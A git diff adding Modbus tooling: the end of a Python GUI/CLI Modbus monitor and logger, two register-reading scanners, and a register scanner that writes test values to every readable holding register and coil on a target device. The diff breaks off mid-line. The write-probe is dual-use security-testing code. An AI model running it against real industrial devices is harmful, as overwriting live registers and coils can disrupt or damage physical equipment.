gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding 